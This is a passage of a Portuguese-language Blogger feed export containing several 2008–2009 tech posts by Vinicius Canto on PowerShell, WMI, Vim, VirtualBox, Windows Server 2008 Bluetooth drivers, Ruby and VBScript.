href="http://msdn.microsoft.com/en-us/library/aa394370(VS.85).aspx"&gt;&lt;em&gt;http://msdn.microsoft.com/en-us/library/aa394370(VS.85).aspx)&lt;/em&gt;&lt;/a&gt;&lt;em&gt;&amp;#160; o WMI não possui nenhuma propriedade com o número de cópias. Por outro lado, faz até sentido: o subsistema de impressão do Windows não deve ter controle sobre cópias, já que o que chega pra ele são somente jobs. Tudo que ele sabe é quantas folhas são, de onde veio, pra onde vai, e quantas foram impressas... o conteúdo fica a cargo da aplicação. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Em resumo: a princípio, do ponto de vista do SO, não dá... quem deve ter controle sobre o número de cópias é o programa que pede pra imprimir um documento. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;[]s,&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Vinicius&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Obrigado pela dúvida e até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6358626470334380034?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6358626470334380034/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6358626470334380034&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6358626470334380034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6358626470334380034'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/script-para-determinar-nmero-de-cpias.html' title='Script para determinar número de cópias de um job de impressão'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7360980087047566035</id><published>2009-01-07T00:34:00.001-02:00</published><updated>2009-01-07T00:34:03.924-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vim'/><title type='text'>Github e _vimrc</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;acabei de fazer uma boa ação para a (comu|humani)dade. Tomei vergonha na cara, criei uma conta no github, aprendi a usar git e coloquei meu _vimrc lá.&lt;/p&gt;  &lt;p&gt;Pra quem não sabe, o github é uma espécie de rede social misturada com um sistema de controle de versão muito bom, o Git. É gratuito, basta se cadastrar e usar o repositório online. Bastante útil para colocar aquele projeto que você criou tempos atrás e é super útil para outras pessoas. Pretendo colocar meus scripts por lá também, para quem quiser baixar. Na verdade, minha idéia mesmo é começar a controlar minhas criações entre as máquinas do cliente que presto serviço atualmente, do notebook da empresa e da minha máquina pessoal. =)&lt;/p&gt;  &lt;p&gt;Pra quem quiser ver como anda meu arquivo _vimrc (principal arquivo de configuração do Vim) atualmente, segue aqui o link do meu repositório lá. Aproveitei e coloquei também os plugins que eu uso (Syntax Highlight do PowerShell, SnippetsEmu e, mais recentemente, FuzzyFinder). Todos eles podem ser encontrados facilmente no &lt;a href="http://www.vim.org"&gt;www.vim.org&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a title="http://github.com/vcx/vimfiles/tree" href="http://github.com/vcx/vimfiles/tree"&gt;http://github.com/vcx/vimfiles/tree&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Futuramente, meus projetos pessoais ficarão todos em &lt;a href="http://github.com/vcx"&gt;http://github.com/vcx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7360980087047566035?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7360980087047566035/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7360980087047566035&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7360980087047566035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7360980087047566035'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/github-e-vimrc.html' title='Github e _vimrc'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6282494664543804685</id><published>2009-01-05T21:04:00.001-02:00</published><updated>2009-01-05T21:29:31.331-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualização'/><title type='text'>VM Guest x64 em Host 32 bits</title><content type='html'>&lt;p&gt;Olá&lt;/p&gt;  &lt;p&gt;mais uma pra começar bem o ano: o pessoal da Innotek (oops, agora parte da Sun) liberou, quase que silenciosamente, a versão 2.1.0 do VirtualBox, para Windows, Linux, Mac e Solaris. Até aí, parece uma notícia comum de algum fanboy postando no Digg. O que chama a atenção mesmo são os recursos novos dessa versão:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Suporte à VMs guest 64 bits, mesmo quando o SO host é 32 bits. Basta ter um processador compatível (x64) e que tenha suporte à virtualização por hardware (VT-x ou AMD-V)&lt;/li&gt;    &lt;li&gt;Suporte a discos .VHD diferenciais. (foi lançado, mas não funciona direito ainda. A versão que está no CVS foi corrigida, e a 2.1.1 deve ser lançada em breve com a correção. Quem quiser compilar na mão já pode usar VHDs normalmente no Vbox)&lt;/li&gt;    &lt;li&gt;Suporte a aceleração gráfica via OpenGL na versão Windows. Sim, já dá pra jogar dentro de VMs. O Suporte ao DirectX deve sair em breve também.&lt;/li&gt;    &lt;li&gt;Suporte à rede melhorado no Windows. Agora não é necessário mais configurar uma placa virtual no host e fazer compartilhamento da rede manualmente. Funciona mais rápido e tão simples quanto o VirtualPC.&lt;/li&gt;    &lt;li&gt;Agora é possível usar o mesmo disco em mais de uma máquina virtual (útil para cenários de preparação de imagens, por exemplo)&lt;/li&gt;    &lt;li&gt;Suporte à segunda geração de virtualização por hardware (Enhanced Nested Paging) em processadores Nehalem da Intel. Isso promete acelerar bastante as VMs, mas só está disponível nos processadores lançados no final de 2008 ou posteriores.&lt;/li&gt;    &lt;li&gt;Vários pequenos bugs corrigidos, dentre eles o que impedia o uso de Windows 2008 x64 como OS guest.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Enfim. VBox é uma boa opção pra quem quiser testar VMs x64 sem ter que reinstalar o SO Host.&lt;/p&gt;  &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6282494664543804685?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6282494664543804685/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6282494664543804685&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6282494664543804685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6282494664543804685'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/vm-guest-x64-em-host-32-bits.html' title='VM Guest x64 em Host 32 bits'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6115018507643622623</id><published>2009-01-05T20:29:00.001-02:00</published><updated>2009-01-05T20:33:13.274-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Server 2008'/><title type='text'>Bluetooth no Windows Server 2008</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;para começar bem o ano, uma dica importante para os &lt;em&gt;Windows Truly Power Users&lt;/em&gt;. Sim, essa dica vai para os verdadeiros usuários avançados do Windows que conhecem bem o sistema que usam, e não apenas aqueles que usam o sistema operacional simplesmente porque veio com o computador e é bem mais fácil de usar do que os concorrentes.&lt;/p&gt;  &lt;p&gt;Quem usa bem o Windows acaba preferindo o Windows Server como sistema operacional para uso do dia-a-dia, justamente pelos recursos avançados que ele oferece (Terminal Services, Hyper-V, IIS de verdade, etc.).&lt;/p&gt;  &lt;p&gt;Trocar o XP pelo Windows Server 2003 era relativamente simples, já que poucos recursos do XP não estavam disponíveis na versão server. Boa parte deles podia ser habilitada facilmente editando somente uma chave de registro ou alterando uma diretiva de grupo local. Migrar do Windows Vista para o Windows Server 2008 não é tão natural, já que até mesmo recursos básicos como um MP3 Player ou acesso à rede via wi-fi não estão disponíveis por padrão e precisam ser instalados separadamente. Pior: alguns recursos simplesmente não estão disponíveis nem mesmo como componentes opcionais, como é o caso do suporte a dispositivos Bluetooth.&lt;/p&gt;  &lt;p&gt;Hoje consegui finalmente instalar o Bluetooth completamente no Windows 2008. Neste caso, completamente significa Bluetooth com AD2P, Rede PAN, ActiveSync, HID, etc… tudo. O segredo sempre foi bem simples: usar os drivers do Vista. No caso do 32 bit é tranquilo… mas no x64, foi necessário ainda seguir um procedimento a parte. Felizmente, encontrei na Internet, no site &lt;a href="http://www.harbar.net/archive/2008/06/13/Enabling-Bluetooth-on-MacBook-Pro-and-Windows-Server-2008-x64.aspx"&gt;harbar.net&lt;/a&gt; (que é de um MVP!), um arquivo .ZIP com os arquivos já modificados para x64, o que facilita bastante o processo. Basta então descompactar e instalar os drivers manualmente. Obviamente, a assinatura dos drivers não bate, e você deve confirmar que deseja instalar drivers não assinados por sua conta e risco.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.harbar.net/archive/2008/06/13/Enabling-Bluetooth-on-MacBook-Pro-and-Windows-Server-2008-x64.aspx" href="http://www.harbar.net/archive/2008/06/13/Enabling-Bluetooth-on-MacBook-Pro-and-Windows-Server-2008-x64.aspx"&gt;http://www.harbar.net/archive/2008/06/13/Enabling-Bluetooth-on-MacBook-Pro-and-Windows-Server-2008-x64.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;se você estiver tentando usar o Windows Server 2008 e encontrar problemas com algum recurso, procure no &lt;cite&gt;&lt;a href="http://www.win2008workstation.com"&gt;www.win&lt;b&gt;2008workstation&lt;/b&gt;.com&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;  &lt;p&gt;Have fun!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6115018507643622623?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6115018507643622623/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6115018507643622623&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6115018507643622623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6115018507643622623'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2009/01/bluetooth-no-windows-server-2008.html' title='Bluetooth no Windows Server 2008'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8836590384554955396</id><published>2008-12-23T22:53:00.001-02:00</published><updated>2008-12-23T22:53:58.929-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='ruby on rails'/><title type='text'>(Rails3 == Merb2) retorna true</title><content type='html'>&lt;p&gt;Boa notícia para quem gosta de Ruby (eu, por exemplo) e de desenvolvimento web com Rails. &lt;/p&gt;  &lt;p&gt;&lt;a title="http://yehudakatz.com/2008/12/23/rails-and-merb-merge/" href="http://yehudakatz.com/2008/12/23/rails-and-merb-merge/"&gt;http://yehudakatz.com/2008/12/23/rails-and-merb-merge/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8836590384554955396?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8836590384554955396/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8836590384554955396&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8836590384554955396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8836590384554955396'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/12/rails3-merb2-retorna-true.html' title='(Rails3 == Merb2) retorna true'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6058553786025394433</id><published>2008-11-24T00:38:00.001-02:00</published><updated>2008-11-24T00:38:06.317-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><title type='text'>Classe Bignum do Ruby</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;só por curiosidade: a linguagem Ruby trata automaticamente a conversão de números inteiros normais para uma estrutura de dados de números grandes (big numbers, números que são representados como strings, vetores ou outras estruturas por não &amp;quot;caber&amp;quot; em estruturas comuns).&lt;/p&gt;  &lt;p&gt;Precisei calcular 2 ^ 20000, e a linguagem Ruby foi a que resolveu o problema mais rápido. Já tinha ela instalada, não precisei importar/carregar nenhuma biblioteca extra para fazer a conta.&lt;/p&gt;  &lt;p&gt;E o resultado é gigante. Veja:&lt;/p&gt;  &lt;p&gt;2**20000 = 398… (muitos números)… 376. Pra ser mais preciso, é um número com nada mais nada menos que 6021 dígitos.&lt;/p&gt;  &lt;p&gt;Tentei no PowerShell (C#, .Net) e mesmo no R, mas ambos não conseguem fazer a conta nativamente, e retornam +Infinito. Até onde eu sei, .Net não possui mesmo uma biblioteca nativa para cálculos com números grandes. Talvez o R tenha, mas ela deveria ser importada antes do cálculo. Com o Ruby foi simples: resultado = 2**20000.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6058553786025394433?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6058553786025394433/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6058553786025394433&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6058553786025394433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6058553786025394433'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/classe-bignum-do-ruby.html' title='Classe Bignum do Ruby'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8877518674499574890</id><published>2008-11-23T19:39:00.001-02:00</published><updated>2008-11-23T22:30:50.982-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='exchange'/><title type='text'>Funções no PowerShell</title><content type='html'>&lt;p&gt;Vejam a seguinte &lt;a href="http://forums.microsoft.com/Technet-BR/ShowPost.aspx?PostID=4152890&amp;amp;SiteID=29"&gt;discussão&lt;/a&gt; que aconteceu no fórum de Scripts Administrativos do Technet Brasil e trata de uma necessidade do usuário ao trazer informações dos mailboxes dos usuários do Exchange. Gostei muito da dúvida e da resposta. Não foi muito eficiente, mas tá valendo (seria melhor bolar um mecanismo de preferência O(1), como um enum, hash ou vetor para trazer as frases corretas no lugar dos números). Mas serve como exemplo sobre como criar funções para serem usadas no pipeline de processamento do PowerShell.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Thiago Rox:&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Olá Pessoal, &lt;/p&gt;  &lt;p&gt;Estou rodando um comando simples no PowerShell apenas para &lt;strong&gt;trazer as informações das mailboxes dos usuários&lt;/strong&gt;: &lt;/p&gt;  &lt;p&gt;Get-WmiObject -Class Exchange_Mailbox -Namespace ROOT\MicrosoftExchangev2 -ComputerName $computer | select-object MailboxDisplayName,StorageGroupName,TotalItems,Size,StorageLimitInfo | Sort-Object -Descending -Property StorageLimitInfo &lt;/p&gt;  &lt;p&gt;Após a execução eu converto para um arquivo HTML. &lt;/p&gt;  &lt;p&gt;O problema é que o objeto StorageLimitInfo me tras esses resultados (1,2,4,8,16), que é relacionado ao limite de armazenamento das mailboxes. A pergunta é, como faço para substituir esses valores por uma string relacionado o número pelo status da mailbox?. Ex. Ao invés do resultado 1 escrever BelowLimit &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Vinicius Canto:&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Olá, &lt;/p&gt;  &lt;p&gt;você pode criar uma função: &lt;/p&gt;  &lt;p&gt;function parseStatusCode([int] $v) {   &lt;br /&gt;if($v -eq 1) {return 'BelowLimit'} ;    &lt;br /&gt;.    &lt;br /&gt;.    &lt;br /&gt;.    &lt;br /&gt;} &lt;/p&gt;  &lt;p&gt;e depois usar ela no select: &lt;/p&gt;  &lt;p&gt;Get-WmiObject -Class Exchange_Mailbox -Namespace ROOT\MicrosoftExchangev2 -ComputerName $computer | select-object MailboxDisplayName,StorageGroupName,TotalItems,Size, @{Name='Status'; Expression{parseStatusCode($_.StorageLimitInfo)}} | Sort-Object -Descending -Property Status &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Thiago Rox:&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Obrigado, funcionou certinho. Parabéns.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8877518674499574890?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8877518674499574890/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8877518674499574890&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8877518674499574890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8877518674499574890'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/funes-no-powershell.html' title='Funções no PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6027043991811856176</id><published>2008-11-22T11:37:00.001-02:00</published><updated>2008-11-22T15:31:29.523-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><title type='text'>On Error Resume Next</title><content type='html'>&lt;p&gt;Essa dica vai para todos que estão começando com scripting.&lt;/p&gt;  &lt;p&gt;Sempre que encontrar um problema aparentemente inexplicável em um script qualquer, verifique se não há nenhum On Error Resume Next no começo ou no meio do script, antes da rotina que pode estar dando problema. &lt;/p&gt;  &lt;p&gt;Pra quem não sabe, o On Error Resume Next é uma instrução que faz com que o VBScript ignore erros e apenas continue na linha seguinte. Ele é muito útil em scripts que possuem tratamento de erros, mas pode esconder problemas no script caso não seja usado com cuidado.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6027043991811856176?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6027043991811856176/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6027043991811856176&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6027043991811856176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6027043991811856176'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/11/on-error-resume-next.html' title='On Error Resume Next'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3437068026938795122</id><published>2008-11-20T22:50:00.001-02:00</published><updated>2008-11-20T22:55:34.633-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Classes no Windows PowerShell</title><content type='html'>&lt;p&gt;Quem já me viu definindo a sintaxe do Windows PowerShell provavelmente já me ouviu falar “PowerShell é igualzinho C#, mas sem classes”.&lt;/p&gt;  &lt;p&gt;Pois bem. Eu estava errado. Eu já sabia que era possível criar assemblies manualmente e importar no PowerShell dinamicamente, mas o que eu não sabia é que ele já suporta isso nativamente, sem precisar compilar absolutamente nada. Isso tudo graças ao comando &lt;strong&gt;Add-Type&lt;/strong&gt;, que cria classes dinamicamente para que você possa usar depois normalmente com o comando &lt;strong&gt;new-object&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;Vejam um trecho do que o comando &lt;strong&gt;get-help add-type –detailed&lt;/strong&gt; retorna:&lt;/p&gt;  &lt;p&gt;NAME   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Add-Type    &lt;br /&gt;SYNOPSIS    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Adds a .NET type (a class) to a Windows PowerShell session.    &lt;br /&gt;DETAILED DESCRIPTION    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The Add-Type cmdlet lets you define a .NET class in your Windows PowerShell session. You can th    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; en instantiate objects (by using the New-Object cmdlet) and use the objects, just as you would     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; use any .NET object.&amp;#160; If you add an Add-Type command to your Windows PowerShell profile, the cl    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ass will be available in all Windows PowerShell sessions.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; You can specify the type by specifying an existing assembly or source code files, or you can sp    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ecify source code in line or saved in a variable. You can even specify only a method and Add-Ty    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; pe will define and generate the class. You can use this feature to make Platform Invoke (P/Invo    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ke) calls to unmanaged functions in Windows PowerShell. If you specify source code, Add-Type co    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; mpiles the specified source code and generates an in-memory assembly that contains the new .NET    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; types.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; You can use the parameters of Add-Type to specify an alternate language and compiler (CSharp is    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; the default), compiler options, assembly dependencies, the class namespace, and the names of t    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; he type and the resulting assembly.&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160; -------------------------- EXAMPLE 1 --------------------------   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt;$source = @&amp;quot;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; public class BasicTest    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; public static int Add(int a, int b)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return (a + b);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; public int Multiply(int a, int b)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return (a * b);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;quot;@    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; Add-Type -TypeDefinition $source    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; [BasicTest]::Add(4, 3)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; $basicTestObject = New-Object BasicTest     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; $basicTestObject.Multiply(5, 2)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; These commands adds the BasicTest class to the session by specifying source code that is stored    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; in a variable. The type has a static method called Add and a non-static method called Multiply    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; .    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The first command stores the source code for the class in the $source variable.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The second command uses the Add-Type cmdlet to add the class to the session. Because it is usin    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; g inline source code, the command uses the TypeDefinition parameter to specify the code in the     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; $source variable.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The remaining commands use the new class.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The third command calls the Add static method of the BasicTest class. It uses the double-colon     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; characters (::) to specify a static member of the class.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The fourth command uses the New-Object cmdlet to instantiate an instance of the BasicTest class    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; . It saves the new object in the $basicTestObject variable.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; The fifth command uses the Multiply method of $basicTestObject.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; -------------------------- EXAMPLE 2 --------------------------    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt;[BasicTest] | get-member    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; [BasicTest] | get-member -static    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; $basicTestObject | get-member    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; C:\PS&amp;gt; [BasicTest] | get-member    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; TypeName: System.RuntimeType    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; 